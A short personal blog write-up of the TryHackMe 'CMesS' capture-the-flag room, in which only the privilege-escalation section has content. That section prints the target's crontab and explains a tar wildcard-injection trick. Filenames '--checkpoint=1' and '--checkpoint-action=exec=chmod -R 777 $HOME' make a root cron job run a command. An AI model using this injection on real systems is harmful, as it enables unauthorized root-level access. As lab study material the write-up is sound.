Cyber stuff

Some random documents related to CTFs and cyber security

17 July 2021

CMesS Writeup

tryhackme/cmess

Setup

Enumeration

Exploitation

Initial shell

Getting ssh access

Priviledge escalation

# /etc/crontab: system-wide crontab                                                                                                                                                                                                          
# Unlike any other crontab you don't have to run the `crontab'                                                                                                                                                                               
# command to install the new version when you edit this file                                                                                                                                                                                 
# and files in /etc/cron.d. These files also have username fields,                                                                                                                                                                           
# that none of the other crontabs do.                                                                                                                                                                                                        
                                                                                                                                                                                                                                             
SHELL=/bin/sh                                                                                                                                                                                                                                
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin                                                                                                                                                                            
                                                                                                                                                                                                                                             
# m h dom mon dow user  command                                                                                                                                                                                                              
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly                                                                                                                                                                          
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )                                                                                                                                          
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )                                                                                                                                         
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )                                                                                                                                        
*/2 *   * * *   root    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *

Setting arguments with bash file expansion

When a command contains a * the shell will automatically expand this * to a space-seperated list of file names in the current directory.

To exploit this we need to come up with a command to execute with no / in here I will use chmod -R 777 $HOME as all we need to do is read /root/root.txt, by chmodding we can read this file from our current user.

The command we are aiming to execute is

cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz --checkpoint=1 "--checkpoint-action=exec=chmod -R 777 $HOME"

To do this we first cd to /home/andre/backup

Then create the first argument with vim

  1. run vim
  2. type :wq --checkpoint=1

Then the second argument

  1. run vim
  2. type :wq --checkpoint-action=exec=chmod\ -R\ 777\ \$HOME

When you run ls the output should look like this

andre@cmess:~/backup$ ls                                                                                                                                                                                                                     
--checkpoint=1  --checkpoint-action=exec=chmod -R 777 $HOME  note 

After cron executes the job you will be able to cat the final flag :)

tags: writeup - tryhackme